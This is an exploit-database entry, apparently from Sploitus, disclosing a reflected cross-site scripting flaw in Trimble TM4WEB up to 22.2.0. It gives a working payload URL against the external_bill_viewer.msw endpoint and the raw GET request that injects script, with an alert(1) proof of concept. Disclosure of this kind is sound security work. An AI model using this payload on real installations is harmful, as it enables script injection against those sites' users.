## https://sploitus.com/exploit?id=6B38A62C-BBC6-5A22-A195-22A47C01A5E4
In Trimble TM4WEB <=22.2.0 the external bill viewer endpoint is vulnerable to reflected cross-site scripting via injection in a arbitrary parameter appended to the URL.
*Step 1 :*
The following example URL will trigger the vulnerability and execute the javascript alert() function displaying the number 1 as a proof of concept.
This vulnerability works on every TM4WEB installation observed so far by the researcher.
example malicious url using a non-existant site:
```https://example-tm4web.com/trace/external_bill_viewer.msw?foo=bar"}%27);alert(1);<!--```
This URL triggers the following malicious GET request.
```GET /trace/external_bill_viewer.msw?foo=bar%22}%27);alert(1);%3C!-- HTTP/1.1```
```Host: example-tm4web.com```
```Connection: close```
This request exploits an arbitrary parameter of the vulnerable ```external_bill_viewer.msw``` endpoint.
The attack results in valid javascript code injection in line 84 of the HTTP response, as show in the below screenshot :
Example injection is shown below with resultant JavaScript execution of the alert(1) payload :
